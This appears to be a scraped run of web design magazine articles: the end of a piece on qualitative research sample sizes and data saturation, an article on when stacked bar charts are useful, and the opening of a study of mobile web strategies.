We can still maintain a rigorous process using a predetermined sample size. Our findings are still valid. Data saturation helps to ensure this. You need to complete three steps in order to claim you’ve done due diligence in determining a sample size and reaching data saturation when using a predetermined sample:

  1. Determine a sample sized based on meaningful criteria.
  2. Reach saturation of data collection.
  3. Reach saturation of data analysis.

I will cover each step in detail in the following sections.

Determining A Sample Size: From Guidelines To A Formula Link

Donna Bonde from Research by Design, a marketing research firm, provides research-based guidelines8 (Qualitative market research: When enough is enough) to help determine the size of a qualitative research sample up front. Bonde reviewed the work of numerous market research studies to determine the consistent key factors for sample sizes across the studies. Bonde considers the guidelines not to be a formula, but rather to be factors affecting qualitative sample sizes. The guidelines are meant for marketing research, so I’ve modified them to suit the needs of the user researcher. I have also organized the relevant factors into a formula. This will help you to determine and justify a sample size and to increase the likelihood of reaching saturation.

Qualitative Sample Size Formula Link

The formula for determining a sample size, based on my interpretation of Research by Design’s guidelines, is: scope × characteristics &div; expertise + or - resources.

Here are descriptions and examples for the four factors of the formula for determining your qualitative sample size.

1. Scope of the Investigation Link

You need to consider what you are trying to accomplish. This is the most important factor when considering sample size. Are you looking to design a solution from scratch? Or are you looking to identify small wins to improve your current product’s usability? You would maximize the number of research participants if you were looking to inform the creation of a new experience. You could include fewer participants if you are trying to identify potential difficulties in the checkout workflow of your application.

Numerically, the scope can be anywhere from 1 to infinity. A zero would designate no research, which violates principles of UX design. You will multiply the scope by each user type × 3 in the next step. So, including a number greater than 1 will drastically increase your sample size. Scope is all about how you want to apply your results. I recommend using the following values for filling in scope:

  1. research looking at an existing product (for example, usability testing, identifying new features, or studying the current state);
  2. creating a new product (for example, a new portal where you will house all applications that your staff use);
  3. generalizing beyond your product (for example, publishing your study in a research journal or claiming a new design process).
Three gas pumps representing scope. From left to right, gas pumps are labeled improve, create, and generalize.9
Your sample size should increase as your scope increases. (Image: Brandon Sax1714106) (View large version11)

I’ve given you guidelines for scope that will make sure your sample size is comparable to what some academic researchers suggest. Scholar John Creswell suggests12 guidelines ranging from as few as five for a case study (for example, your existing product) to more than 20 for developing a new theory (for example, generalizing beyond your product). We won’t stop with Creswell’s recommendations because you will create a stronger argument and demonstrate better understanding when you show that you’ve used a formula to determine your sample size. Also, scholars are nowhere near agreement on specific sample sizes to use, as Creswell suggests.

2. Characteristics of the Study’s Population Link

You will increase your sample size as the diversity of your population increases. You will want multiple representatives of each persona or user type you are designing for. I recommend a minimum of three participants per user type. This allows for a deeper exploration of the experience each user type might have.

Let’s say you are designing an application that enables manufacturing companies to input and track the ordering and shipment of supplies from warehouses to factories. You would want to interview many people involved in this process: warehouse floor workers, office staff, procurement staff from the warehouse and factory, managers and more. If you were looking only to redesign the interface of the read-only tracking function of this app, then you might only need to interview people who look at the tracking page of the application: warehouse and factory office workers.

Numerically, C = P × 3, where P equals the number of unique user types you’ve identified. Three user types would give you C = 9.

3. Expertise of the Researchers Link

Experienced researchers can do more with a smaller sample size than less experienced researchers. Qualitative researchers insert themselves into the data-collection process differently than quantitative researchers. You can’t change your line of questioning in a survey based on an unforeseen topic becoming relevant. You can adjust your line of questioning based on the real-time feedback you get from a qualitative research participant. Experienced researchers will generate more and better-quality data from each participant. An experienced researcher knows how and when to dig deeper based on a participant’s response. An experienced researcher will bring a history of experiences to add insight to the data analysis.

Numerically, expertise (E) could range from 1 to infinity. Realistically, the range should be from 1 to 2. For example, a researcher with no experience should have a 1 because they will need the full size of the sample, and they would gain experience as the project moves forward. Using a 2 would halve your sample size (at that point in the formula), which is drastic as well. I’d suggest adding tenths (.10) based on 5-year increments; for example, a researcher with 5 years of experience would give you E = 1.10.

A blue and purple sports car with data points above it to represent expertise.13
Expertise can speed up your research and reduce your sample size. (Image: Brandon Sax1714106) (View large version15)

4. Resources Link

An unfortunate truth, you will have to account for budget and time constraints when determining a sample size. You will need to increase either your timeline or the number of researchers on a project, as you increase the size of your sample. Most clients or projects will require you to identify a set number of research participants. Time and money will affect this number. You will need to budget time for recruiting participants and analyzing data. You will also need to consider the needs of design and development for completing those duties. Peers will not value your research findings if the findings come in after everyone else has moved forward. I recommend scaling down a sample size to get the data on time, rather than hold on to a sample size that causes your research to drag on past when your team needs the findings.

Numerically, resources will be a number from N (i.e. the desired sample size) - 1 or more to + 1 or more. You’ll determine resources based on the cost and time you will spend recruiting participants, conducting research and analyzing data. You might have specific numbers based on previous efforts. For example, you might know it will cost around $15,000 to use a recruitment service, to rent a facility for two days and to pay 15 participants for one-hour interviews. You also know the recruiting service will ask for up to three weeks to find the sample you need, depending on the complexity of the study. On the other hand, you might be able to recruit 15 participants at no extra cost if you ask your client to find existing users, but that might add weeks to the process if you can’t find them quickly or if potential participants aren’t immediately available.

You will need to budget for the time and resources necessary to get the sample you require, or you will need to reduce your sample accordingly. Because this is a fact of life, I recommend being up front about it. Say to your boss or client, “We want to speak to 15 users for this project. But our budget and timeline will only allow for 10. Please keep that in mind when we present our findings.”

Using The Formula: An Example Link

Let’s say you want to figure out how many participants to include in a study that is assessing the need to create an area for customer-service staff members of a mid-sized client to access the applications they use at work (a portal). Your client states that there are three basic user types: floor staff, managers and administrators. You have a healthy budget and a total of 10 weeks to go from research to presentation of design concepts for the portal and a working prototype of a few workflows within the portal. You have been a researcher for 11 years.

Your formula for determining a sample size would be:

  • scope (S) large scope - creating a new portal (S) = 2;
  • characteristics (C) - 3 user types (C) = 9;
  • expertise (E) - 11 years (E)= 1.20;
  • resources (R) - fine for this study (R) = 0;
  • our formula is ((SxC)/E) + R;
  • So, ((2x9)/1.2) + 0 = 15 participants for this study.

Data Saturation Link

Data saturation is a concept from academic research. Academics do not agree on the definition of saturation. The basic idea is to get enough data to support the decisions you make, and to exhaust your analysis of that data. You need to get enough data in order to create meaningful themes and recommendations from your exhaustive analysis. Reaching data saturation depends on the particular methods you are using to collect data. Interviews are often cited as the best method to ensure you reach data saturation.

Researchers do not often use sample size alone as the criterion for assessing saturation. I support a two-pronged definition: saturation of data collection and saturation of data analysis. You need to do both to achieve data saturation in a study. You also need to do both, data collection and analysis, simultaneously to know you’ve achieved saturation before the study concludes.

Saturation Of Data Collection Link

You would collect enough meaningful data to identify key themes and make recommendations. Once you have coded your data and identified key themes, do you have actionable takeaways? If so, you should feel comfortable with what you have. If you haven’t identified meaningful themes or if the participants have all had many different experiences, then collect additional data. Or if something unique came up in only one interview, you might add more focused interviews to further explore that concept.

You would achieve saturation of data collection in part by collecting rich data. Rich data is data that provides a depth of insight into the problem you are investigating. Rich data is an output of good questions, good follow-up prompts and an experienced researcher. You would collect rich data based on the quality of the data collection, not the sample size. It’s possible to get better information from a sample of three people whom you spend an hour each interviewing than you would from six people whom you only spend 30 minutes interviewing. You need to hone your questions in order to collect rich data. You would accomplish this when you create a questionnaire and iterate based on feedback from others, as well as from practice runs prior to data collection.

You might want to limit your study to specific types of participants. This could reduce the need for a larger sample to reach saturation of data collection.

For example, let’s say you want to understand the situation of someone who has switched banks recently.

Have you identified key characteristics that might differentiate members of this group? Perhaps someone who recently moved and switched banks has had a drastically different experience than someone whose bank charged them too many fees and made them angry.

Have you talked to multiple people who fit each user type? Did their experiences suggest a commonality between the user types? Or do you need to look deeper at one or both user types?

If you interview only one person who fits the description of a user who has recently moved and switched banks, then you’d need to increase your sample and talk to more people of that user type. Perhaps you could make an argument that only one of these user types is relevant to your current project. This would allow you to focus on one of the user types and reduce the number of participants needed to reach saturation of data collection.

Saturation Of Data Collection Example Link

Let’s say you’ve determined that you’ll need a sample size of 15 people for your banking study.

You’ve created your questionnaire and focused on exploring how your participants have experienced banking, both in person and online, over the past five years. You spend an hour interviewing each participant, thoroughly exhausting your lines of questioning and follow-up prompts.

You collect and analyze the data simultaneously. After 12 interviews, you find the following key themes have emerged from your data:

  • users feel banks lack transparency,
  • users have poor onboarding experiences,
  • users feel more compelled to bank somewhere where they feel a personal connection.

Your team meets to discuss the themes and how to apply them to your work. You decide as a team to create a concept for a web-based onboarding experience that facilitates transparency into how the bank applies fees to accounts, that addresses how the client allows users to share personal banking experiences and to invite others, and that covers key aspects of onboarding that your participants said were lacking from their account-opening experiences.

You have reached one of the two requirements for saturation: You have collected enough meaningful data to identify key themes and make recommendations. You have an actionable takeaway from your findings: to create an onboarding experience that highlights transparency and personal connections. And it only took you 12 participants to get there. You finish the last three interviews to validate what you’ve heard and to stockpile more data for the next component of saturation.

Saturation Of Data Analysis Link

You thoroughly analyze the data you have collected to reach saturation of data analysis. This means you’ve done your due diligence in analyzing the data you’ve collected, whether the sample size is 1 or 100. You can analyze qualitative data in many ways. Some of the ways depend on the exact method of data collection you’ve followed.

You will need to code all of your data. You can create codes inductively (based on what the data tell you) or deductively (predetermined codes). You are trying to identify meaningful themes and points made in the data. You saturate data analysis when you have coded all data and identified themes supported by the coded data. This is also where the researcher’s experience comes into play. Experience will help you to identify meaningful codes and themes more quickly and to translate them into actionable recommendations.

A racetrack with data points and icons representing the concept of data analysis.16
You cannot reach data saturation without thorough data analysis. (Image: Brandon Sax1714106) (View large version18)

Going back to our banking example, you’ve presented your findings and proposed an onboarding experience to your client. The client likes the idea, but also suggests there might be more information to uncover about the lack of transparency. They suggest you find a few more people to interview about this theme specifically.

You ask another researcher to review your data before you agree to interview more people. This researcher finds variation in the transparency-themed quotes that the current codes don’t cover: Some users think banks lack transparency around fees and services. Others mention that banks lack transparency in how client information is stored and used. Initially, you only coded a lack of transparency in fee structures. The additional pair of eyes reviewing your data enables you to reach saturation of analysis. Your designers begin to account for this variation of transparency in the onboarding experience and throughout. They highlight bank privacy and data-security policies.

You have a discussion with your client and suggest not moving forward with additional interviews. You were able to reach saturation of data analysis once you reviewed the data and applied additional codes. You don’t need additional interviews.

Sample Size Formula And Data Saturation Case Study Link

Let’s run through a case study covering the concepts presented in this article.

Suppose we are working with a client to conceptualize a redesign of their clinical data-management application. Researchers use clinical data-management applications to collect and store data from clinical trials. Clinical trials are studies that test the effectiveness of new medical treatments. The client wants us to identify areas to improve the design of their product and to increase use and reliability. We will conduct interviews up front to inform our design concepts.

Saturation Of Sample Size Link

We’ll request 12 interview participants based on the formula in this article. Below is how we’ve determined the value of each variable in the formula.

Scope: We are tasked with providing research-informed design concepts for an existing product. This project does not have a large scope. We are not inventing a new way to collect clinical data, but rather are improving an existing tool. The smaller scope justifies a smaller sample size.

  • S = 1
  • Characteristics: Our client identifies three specific user types:
    • study designers: users charged with building a study in the system.
    • data collectors: users who collect data from patients and enter data into the system.
    • study managers: users in charge of data collection and reporting for a project.
  • C= 3 × 3 user types
  • C = 9

Expertise: Let’s say our lead researcher has 10 years of research experience. Our team has experience with the type of project we are completing. We know exactly how much data we need and what to expect from interviewing 12 people.

  • E = .20

At this point, our formula is ((1 × 3) &div; 1.2) = 7.5 participants, before factoring in resources. We’ll round up to 8 participants.

Resources: We know the budget and time resources available. We know from past projects that we’ll have enough resources to conduct up to 15 interviews. We could divert more resources to design if we go with fewer than 15 participants. Adding 4 participants to our current number (8) won’t tax our resources and would allow us to speak to 4 of each user type.

  • R = 4

We recommend 12 research participants to our client, based on the formula for determining the proposed sample size:

  • Scope (S) - small scope - updating an existing product (S) = 1
  • Characteristics (C) - 3 user types (C) = 9
  • Expertise (E) - 10 years (E)= 1.20
  • Resources (R) - fine for up to 15 total participants (R) = +4
  • Our formula is ((SxC)/E) + R;
  • So, ((1x9)/1.2) + 4 = 12 participants for this study.

Saturation Of Data Analysis Link

We’ll set up a spreadsheet to manage the data we collect. Let’s set up the spreadsheet to first examine the data, with participants in rows and the questions in columns (table 1):

Table 1: Example of data analysis spreadsheet
What are some challenges with the system? Question 2 Question 3 Question 4
Participant 1 Protocol deviations can get lost or be misleading because they are not always clearly displayed. This would give too much control to the study coordinator role; they would be able to change too much. A tremendous amount of cleaning needs to get done.

Next, we add a second tab to the spreadsheet and created codes based on what emerged from the data (table 2):

Table 2: Example of codes spreadsheet
Code: Issues with study protocol (deviations) Code: Unreliable data Code 3 Code 4
Participant 1 There isn’t consistency looking at the same data. It gives too much control to the study coordinator role. They would be able to change too much. A tremendous amount of cleaning needs to get done.

Next, we review the data to identify relevant themes (table 3):

Table 3: Example of themes and quotes spreadsheet
Theme: “trust in the product” Theme 2 Theme 3 Theme 4
Coded quote and participant “I’m not sure if we are compliant.” – Participant 1
Quote and participant “It’s very configurable, but it’s configurable to the point that it’s unreliable and not predictable.” – Participant 2

Trust emerges as a theme almost immediately. Nearly every participant mentions a lack of trust in the system. The study designers tell us they don’t trust the lack of structure in creating a study; the clinical data collectors tell us they don’t trust the novice study designers; and the managers tell us they don’t trust the study’s design, the accuracy of the data collectors or the ability of the system to store and upload data with 100% accuracy.

Our design recommendations for the concepts focus on interactions and functionality to increase trust in the product.

Conclusion Link

Qualitative user researchers must support our reason for choosing a sample size. We may not be academic researchers, but we should strive for standards in how we determine sample sizes. Standards increase the rigor and integrity of our studies. I’ve provided a formula for helping to justify sample sizes.

We must also make sure to achieve data saturation. We do this by suggesting a reasonable sample size, by collecting data using sound questions and good interviewing techniques, and by thoroughly analyzing the data. Clients and colleagues will appreciate the transparency we provide when we show how we’ve determined our sample size and analyzed our data.

I’ve covered a case study demonstrating use of the formula I’ve proposed for determining qualitative research sample sizes. I’ve also discussed how to analyze data in order to reach data saturation.

We must continue moving forward the conversation on determining qualitative sample sizes. Please share other ideas you’ve encountered or used to determine sample sizes. What standards have you given clients or colleagues when asked how you’ve determined a sample size?

Additional Resources Link

(cc, yk, al, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2013/09/data-driven-design-in-the-real-world/
  2. 2 https://www.smashingmagazine.com/2015/03/conducting-user-research-in-brazil/
  3. 3 https://www.smashingmagazine.com/2014/11/how-to-run-user-tests-at-a-conference/
  4. 4 https://www.smashingmagazine.com/2017/03/using-social-media-user-research/
  5. 5 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Title-illustration-large-opt-1.png
  6. 6 http://www.brandonsax.com
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Title-illustration-large-opt-1.png
  8. 8 http://researchbydesign.com.au/publications/
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Scope-Illustration-large-opt-1.png
  10. 10 http://www.brandonsax.com
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Scope-Illustration-large-opt-1.png
  12. 12 https://play.google.com/store/books/details?id=jMfVyU8ida4C
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Expertise-Illustration-large-opt-1.png
  14. 14 http://www.brandonsax.com
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Expertise-Illustration-large-opt-1.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Data-Analysis-Illustration-large-opt-1.png
  17. 17 http://www.brandonsax.com
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Data-Analysis-Illustration-large-opt-1.png
  19. 19 http://tqr.nova.edu/wp-content/uploads/2015/09/fusch1.pdf
  20. 20 http://www.bath.ac.uk/sps/events/Documents/27_jan_2015_slides/julie_barnett.pdf
  21. 21 http://eprints.ncrm.ac.uk/2273/4/how_many_interviews.pdf
  22. 22 https://www.ncbi.nlm.nih.gov/pubmed/20204937
  23. 23 https://www.nngroup.com/articles/how-many-test-users/

↑ Back to topTweet itShare on Facebook

Understanding Stacked Bar Charts: The Worst Or The Best?

by

Understanding Stacked Bar Charts: The Worst Or The Best?

Data visualization has become an important part of our everyday life, allowing us to quickly assess information. And with so many chart types out there to choose from, it should be possible to effectively solve almost any task, whether it’s exploratory (i.e. researching and analyzing data to better understand it for yourself) or explanatory (i.e. reporting and communicating data to end users).

However, variety can also cause confusion, making it difficult to clearly understand the purpose of each form of data visualization. As a result, when an inappropriate type of chart is applied to data, the user not only might be confused by the information, but, more importantly, could make bad decisions based on such a presentation.

Today, we’ll talk about stacked bar charts, because — much to my surprise — I’ve recently learned these chart types can be real troublemakers.

Further Reading on SmashingMag: Link

Risk Of Confusion Link

As the number of chart types and approaches keeps growing, the things are getting worse, and sometimes even top experts get confused with identifying the goals of one chart type or another. One vivid example is Robert Kosara, senior research scientist at Tableau Software and former associate professor of computer science. In his blog post “Stacked Bar Charts Are the Worst5,” he calls stacked bar charts inconvenient, useless and even harmful. But is that really fair?

I’d say that stacked bar charts are undeservingly demonized in his article. The author simply seems to have fallen victim to a common misunderstanding of their real purpose. In fact, stacked bar charts are supposed to be used to compare total values across several categories and, at the same time, to identify which series is to “blame” for making one total bigger or perhaps smaller than another.

However, Kosara says they are the worst because they are useless for comparing series magnitudes in one or another certain category. Well, I agree: Stacked bar charts are really bad at that, and a regular multiseries bar chart would always seem to be a better choice. But that is not what they are supposed to be used for. It’s like using a hammer to change a lightbulb — you’ll just end up with a mess!

In this article, I’ll try to explain the real goals of visualizing data in regular and stacked bar charts and what exactly they should be used for. To get started, let’s look at a conventional bar chart.

Bar Charts: Simple Comparison Link

The main purpose of a bar chart is to compare individual data points with each other. It’s easy. Let’s look at regular vertical bar (also called column) charts.

Multiseries Bar Charts Link

6
(Large preview7) (See CodePen8)

This multiseries bar chart displays sales of each product within each sales strategy and helps us to answer the following questions:

  • Which strategy generated the most sales of every single product?
  • How did the products perform individually within a given strategy?

Of course, when these are the questions being asked, we need to compare values within every single series (sales of a certain product across all strategies) and within every single category (sales of each product within a certain strategy). With that said, let’s look into this example.

We can clearly see now that Product D was most successful in Strategy 4 and the least successful in Strategy 5.

9
(Large preview10) (See CodePen11)

We also see that the biggest sales within Strategy 1 are attributable to Product C, whereas Product D finished last, and Products A and B are almost identical.

12
(Large preview13) (See CodePen14)

With this example, we can quickly analyze all product-level differences, and that is what we use such bar charts for.

Single-Series Bar Charts Link

Now, what if we only want to see the overall sales for each strategy and then compare them with each other? We know that some products performed better or worse than others in each strategy, but which strategy resulted in the greatest total sales overall, with no regard to individual product performance?

To analyze only the differences between category totals, we simply add up the product values and represent them as columns in a single-series bar chart:c

15
(Large preview16) (See CodePen17)

This chart fully answers the question we asked. It is clear that the Strategy 2 was overall most effective and Strategy 5 was the least.

To conclude, these conventional bar charts have helped us:

  • compare products sales performance by strategy,
  • identify the difference between strategies in terms of overall total effectiveness.

So far, so good.

However, we can go further still and discover the relationships between what we noticed in the first (multiseries) and second (single-series) graphs in order to understand more deeply what actually happened. For this purpose, we need to plot both category totals and product-specific data on one stage, and this is where a stacked bar chart starts to shine.

Stacked Bar Charts: Totals Against Parts Link

18
(Large preview19) (See CodePen20)

We might also want to ask, “Why did Strategy X undermine the sales of one or another product?” Or, “What was the performance of a product within one strategy in relation to its sales within other strategies?” Great questions, but remember that stacked bar charts are not supposed to answer these or similar questions with that type of detail. Sorry, no superheroes here.

Stacked bar charts are designed to help you simultaneously compare totals and notice sharp changes at the item level that are likely to have the most influence on movements in category totals.

Looking at our stacked bar chart, we clearly see, for example, that Strategy 5 was the least effective overall, and this is mainly because sales from Product D were so much lower compared to the other strategies.

21
(Large preview22) (See CodePen23)

Take a moment to see what other insights our stacked bar chart provides by identifying other visually apparent relationships. In the meantime, let me stress that we cannot rely on this chart type to clarify absolutely all of the differences and contributions. Generally speaking, stacked bar charts are quite similar to sparklines in terms of usage: The main purpose of both types is to enable a better understanding of the big picture, without much focus on details such as light changes.

Of course, if you require deeper, more comprehensive or just different insights, then you’ll need to choose another chart type, one that will help you to answer your specific questions about your specific data.

Stacked Bar Charts Versus Combined Charts Link

I showed the first draft of this article to a couple of my colleagues. One of them wondered, “If you want to show both category totals and item-specific data at the same time, why not use a dual-axis graph with separate bars for each product and a line series for totals? Wouldn’t that be better than a stacked bar chart, because it will help you to understand all of the differences, including at the product level?”

It’s an interesting question. Let’s take a look.

While bringing all category totals into a separate line series with its own axis and then letting regular bars take care of the rest might sound appropriate, I don’t think so. Not to mention that I am not a big fan of dual-axis charts, at least when I have data and questions like these. But let’s check it out and you decide.

24
(Large preview25) (See CodePen26)

In this case, we can simultaneously see the totals and compare data points within a category. But the main issue is that this combined chart is actually harder to read, because the view is overloaded with columns, each attracting considerable attention, not to mention the line series with the second axis cluttering the view.

And things only get worse if we have a few more strategies, in this case just three more:

27
(Large preview28) (See CodePen29)

Large data sets are not uncommon, and while this one is far from large, I think you’ll agree that the eye gets lost in the presentation. As a matter of fact, we would have to spend too much time reading the combination of bar charts and line graph in both cases. So, when visualizing large amounts of data, we’d certainly be better off switching to another view, rather than piling up everything in one chart.

I think you’ll agree, a stacked bar chart seems to make more sense, even in this situation:

30
(Large preview31) (See CodePen32)

Conclusion Link

Now you’ve seen it with your own eager eyes. The stacked bar charts showcased in this article not only allow us to see the category totals first, but also get a rough yet helpful understanding of the item level within each category. As a result, they’ve clearly answered the questions asked:

  • Which strategies are better (and lead to higher sales)?
  • Which significant product-level leaps made one or another strategy more (or less) effective?

I hope you also agree that our stacked bar charts turned out to be concise and easy to read.

Please keep in mind that this chart type is very specific. Use it carefully and only when your questions and data fully correspond to the purposes it serves. For example, to compare item values more precisely and comprehensively, pick a conventional bar chart instead, because that is its purpose. However, I am sure you now share my feeling and experience: Stacked bar (column) charts are far from the “worst,” much less are they useless.

I will repeat myself and say that the main, strategic purpose of stacked bar charts is to help you assess the big picture at a glance, focusing on category totals and drastic series-level changes, and then let you decide what to research next if needed. Depending on the situation, you might find a better solution for other kinds of data and questions. However, stacked bar charts are often worthwhile and should be considered when the occasion demands.

I’ve made all of the chart illustrations from this article available on CodePen33 so you can explore them in detail, test your own data, and so on. You are also welcome to use Chartopedia34, a guide for choosing right chart types that I am currently building, to learn more about various data visualization methods and their purpose.

(al, vf, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2016/10/finding-better-mobile-analytics/
  2. 2 https://www.smashingmagazine.com/2015/03/fun-with-physics-in-data-visualization/
  3. 3 https://www.smashingmagazine.com/2014/08/responsive-web-design-google-analytics/
  4. 4 https://www.smashingmagazine.com/2011/09/create-an-animated-bar-graph-with-html-css-and-jquery/
  5. 5 http://eagereyes.org/techniques/stacked-bars-are-the-worst
  6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/03/1-Multi-series-bar-chart-800w-opt.png
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/03/1-Multi-series-bar-chart-large-opt.png
  8. 8 https://codepen.io/Radionov/pen/wzamqQ/
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/03/2-Compare-strategies-multi-series-bar-chart-large-opt.png
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/03/2-Compare-strategies-multi-series-bar-chart-large-opt.png
  11. 11 https://codepen.io/Radionov/pen/pEJLpz/
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3-Compare-products-multi-series-bar-chart-large-opt.png
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3-Compare-products-multi-series-bar-chart-large-opt.png
  14. 14 https://codepen.io/Radionov/pen/kkWEEr/
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/03/4-Single-series-bar-chart-large-opt.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/03/4-Single-series-bar-chart-large-opt.png
  17. 17 https://codepen.io/Radionov/pen/ALvZbo/
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/03/5-Stacked-bar-chart-large-opt.png
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/03/5-Stacked-bar-chart-large-opt.png
  20. 20 https://codepen.io/Radionov/pen/XjmAbB/
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/03/6-Strategy-total-in-stacked-bar-chart-large-opt.png
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/03/6-Strategy-total-in-stacked-bar-chart-large-opt.png
  23. 23 https://codepen.io/Radionov/pen/QKbZpj/
  24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/03/7-Combined-multi-series-bar-and-line-chart-large-opt.png
  25. 25 https://www.smashingmagazine.com/wp-content/uploads/2017/03/7-Combined-multi-series-bar-and-line-chart-large-opt.png
  26. 26 https://codepen.io/Radionov/pen/NRGKxp/
  27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/03/8-Combined-multi-series-bar-and-line-chart-for-large-data-set-large-opt.png
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/03/8-Combined-multi-series-bar-and-line-chart-for-large-data-set-large-opt.png
  29. 29 https://codepen.io/Radionov/pen/vXNBxO/
  30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/03/9-Stacked-bar-chart-final-large-opt.png
  31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/03/9-Stacked-bar-chart-final-large-opt.png
  32. 32 https://codepen.io/Radionov/pen/ALWARJ/
  33. 33 http://codepen.io/collection/XoLkMz/
  34. 34 http://www.anychart.com/chartopedia

↑ Back to topTweet itShare on Facebook

Building For Mobile: RWD, PWA, AMP Or Instant Articles?

by

Building For Mobile: RWD, PWA, AMP Or Instant Articles?

As we look deep into 2017, one of the questions on every web developer’s mind ought to be, “What trend will define the web in 2017?” Just three years ago, we were talking about the “Year of Responsive Web Design”, and we’ve all seen how the stakes were raised1 when Google announced Mobilegeddon (21 April 2015) and started to boost the rankings of mobile-friendly websites in mobile search results.

Today, as our findings indicate2, responsive web design is the norm, with 7 out of 10 mobile-optimized websites being responsive, up from 5 last year3, which begs the questions: What’s next? Where is it all heading? We solved the screen-size issue and had a great run for a few years — now what?

Further Reading on SmashingMag: Link4

Not long ago, having an application in an app store was considered the holy grail. To this day, a lot of companies still religiously follow the path to app store publishing. “Publish it and they will come,” “The web is dead,” they used to say!

According to recent studies9, just 26.4% of users who visit a page in an app store today will install an app. The other 73.6% are lost to the developer and don’t even try the app. Among the ones who install it, an average of 99% are lost in the following 90 days. As a consequence, the same people who declared the web dead years ago are now shouting, “Apps are dying” and “Wait! The web isn’t dead after all!”

This made us ask, Where is the mobile web heading? To answer this question, my colleagues and I at Appticles10 have conducted a colossal study on 10,000 publishing and e-commerce websites from Alexa11, scouting for signs of resurrection, and instead finding serious traces of diversification. Our findings are detailed below.

Responsive Websites Are Getting Taller And Fatter Link

According to Google’s guidelines, we have taken into consideration three types of configurations12 for building mobile websites:

13
  • Responsive web design

    Serve the same HTML code on the same URL, regardless of the user’s device. The display would render differently based on the screen’s size.
  • Dynamic serving (also known as adaptive)

    Use the same URL regardless of device, but generate HTML code dynamically by detecting the browser’s user agent.
  • Separate URLs (also known as mobile-friendly)

    Serve different code to each device class, with a separate web address for the mobile version.

To detect the mobile strategy used by different websites, we crawled them using an iPhone user agent and using the headless browser PhantomJS14 to detect JavaScript redirects.

On top of that, we also identified website owners who have implemented a smart app banner meta tag in the head of their home page, to market their iOS app:

<meta name="apple-itunes-app" content="app-id=myAppStoreID">

To analyze performance, we used Google’s PageSpeed Insights API, which takes into consideration not only the size of a web page, but also compression, server response time, browser caching and landing page redirects, among other factors.

All of the code used for this study is available for comments and contributions on GitHub15.

Here’s what we identified:

  • Responsive is the preferred technique for mobile optimization, used by 52% of all websites in the study.
  • The mobile-friendly approach (i.e. using a separate domain) has declined to 16% usage, from 26% in 201616.
  • Adaptive methods have stagnated at around 5%.
  • Still, 3 out of 10 websites are not mobile-optimized.
Mobile configuration distribution17
Mobile configuration distribution throughout 2016, as outlined by the study. (Source: Appticles.com18) (View large version19)

Comparing publishers (blogs, newspapers, magazines) with e-commerce websites resulted in some interesting variations in mobile web optimization:

  • 60% of websites in the blogging vertical use responsive design, whereas only 47% of websites in the newspaper vertical have adopted responsive techniques.

    Mobile configuration vs. segments20
    (View large version21)
  • The adaptive strategy has found the most followers in the e-commerce industry, with 9% of shopping websites being adaptive (compared to less than 5% among blogs, news websites and magazines).
  • The average mobile page height has increased to almost 10 screens (up from 7 last year22). Blogs have more than 90% of their home page content (dispersed over 13 screens) below the fold, while e-commerce websites do a better job of greeting the user with their most relevant content, with just 3 screens to encapsulate it.

    Height vs. page size23
    (View large version24)
  • As a consequence of tall mobile websites, blogs also have a weight issue, with the average mobile page weighing in at almost 7 MB. On the other hand, e-commerce websites have it under control at 3 MB.
  • If you think that just by designing responsively you’ll score better in Google’s PageSpeed Insights, think again! Take blogs: Although they’re designing responsively, they score an average of 40% in PageSpeed Insights, whereas e-commerce websites have an average of over 50%.

What these numbers show us is that mobile screen-size optimization is at its peak: New websites are responsive by default, and the majority of those that haven’t had a mobile presence have already made the switch. In other words, I think that the mobile web is nearing its potential in addressing the screen-size issue: 7 out of 10 websites have already implemented some form of mobile-friendly optimization, and this hasn’t grown significantly since last year25.

In addition, the trends seem to indicate that mobile websites are getting taller and fatter by the year. Is this what we envisioned for the mobile web when we started designing responsively? Because approximately 30% of the web is powered by WordPress26, I can’t help but suspect that the way WordPress themes are built is shaping the mobile web.

Smart App Banners Drive App Downloads But Not Retention Link

The banner that floats on your page when your website is viewed on a mobile device is an incredibly valuable tool for converting web traffic into app users. According to a study by Branch.io27, click-to-install rates are slightly higher on Android than on iOS (13.5% versus 11.9%), but the average is about 13%.

Smart app banners28
Examples of smart app banners usage in different applications. (Source: Branch.io29)

We discovered that 6.5% of news websites use smart app banners to notify mobile users of their apps, whereas all of the other verticals we analyzed (blogging, magazines and e-commerce) scored below 2% usage.

What’s interesting is that the majority of news websites that have been identified as using smart app banners are responsive. In other words, the strategy at play for news publishers (mostly newspapers) is to be where their readers are: both in app stores and on the mobile web.

The thinking behind maintaining both mobile channels and splitting the mobile audience is that (1) a responsive website would be the first contact that occasional mobile users have with the publisher, and (2) a dedicated application would make a lot of sense for loyal mobile users.

To put it differently, consider investing in an application for an app store when the mobile retention rate for your website is already high. Let’s look at some additional numbers that support this rule.

